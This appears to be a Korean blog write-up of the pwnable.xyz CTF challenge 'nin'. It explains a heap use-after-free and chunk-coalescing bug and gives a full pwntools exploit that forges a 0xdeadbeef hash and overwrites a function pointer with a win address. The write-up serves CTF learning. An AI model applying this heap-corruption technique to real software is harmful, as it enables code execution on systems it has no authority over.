본문 바로가기

pwn/pwnable.xyz

pwnable.xyz / nin

mitigation
do_chat

입력 받은 데이터만큼 힙을 할당 받고 reznor_struct가 null인 경우 inivite_reznor함수를 호출한다

initvite_reznor함수에서는 힙을 할당 받고 0에는 문자열이 저장된 힙 주소를 저장하고 +8에는 answer_me함수의 주소를 저장한다

이후에 answer_me함수를 호출하고 처음 strdup로 할당된 청크를 free한다

 

 

answer_me

위 함수에서는 수와 문자열을 입력 받고 hash_gift함수의 반환 값이 0xdeadbeef가 되면 reznor에서 할당된 청크들을 해제한다

 

0xdeadbeef 맞춰서 청크 2개 해제시키고 0xff할당 받아서 병합 시킨담에 병합된 청크 할당 받아서 answer_me를 win으로 덮어줬다

 

from pwn import * 

p = remote("svc.pwnable.xyz", 30034)
#p = process("./nin", env={"LD_PRELOAD" : "./alpine-libc-2.24.so"})

def user_input(data):
    p.recvuntil(b"@you> ")
    p.send(data)

def gift(length, data):
    p.recvuntil("be: ")
    p.sendline(str(length))
    p.recvuntil(b"gift: ")
    p.send(data)
    
win = 0x400cae

deadbeef = b"\xff" * 223    # dead
deadbeef += b"\x8c"

deadbeef += b"\xff" * 191   # beef
deadbeef += b"\xae"
deadbeef += b"\x00" * 32

user_input(b"/gift\n")
gift(len(deadbeef), deadbeef)

payload = b"A" * 0xff
user_input(payload)

payload = b"A" * 0x28
payload += p64(win)
payload += b"A" * 0x30
user_input(payload)

p.interactive()

 

 

※ 버그가 2개라는데 다른 한개를 모르겠다

다시 보니까 굳이 병합해서 풀 필요가 없었다

'pwn > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / words  (0) 2022.05.25
pwnable.xyz / notebook  (0) 2022.05.25
pwnable.xyz / Dirty Turtle  (0) 2022.05.24
pwnable.xyz / Hero Factory  (0) 2022.05.24
pwnable.xyz / note v2  (0) 2022.05.24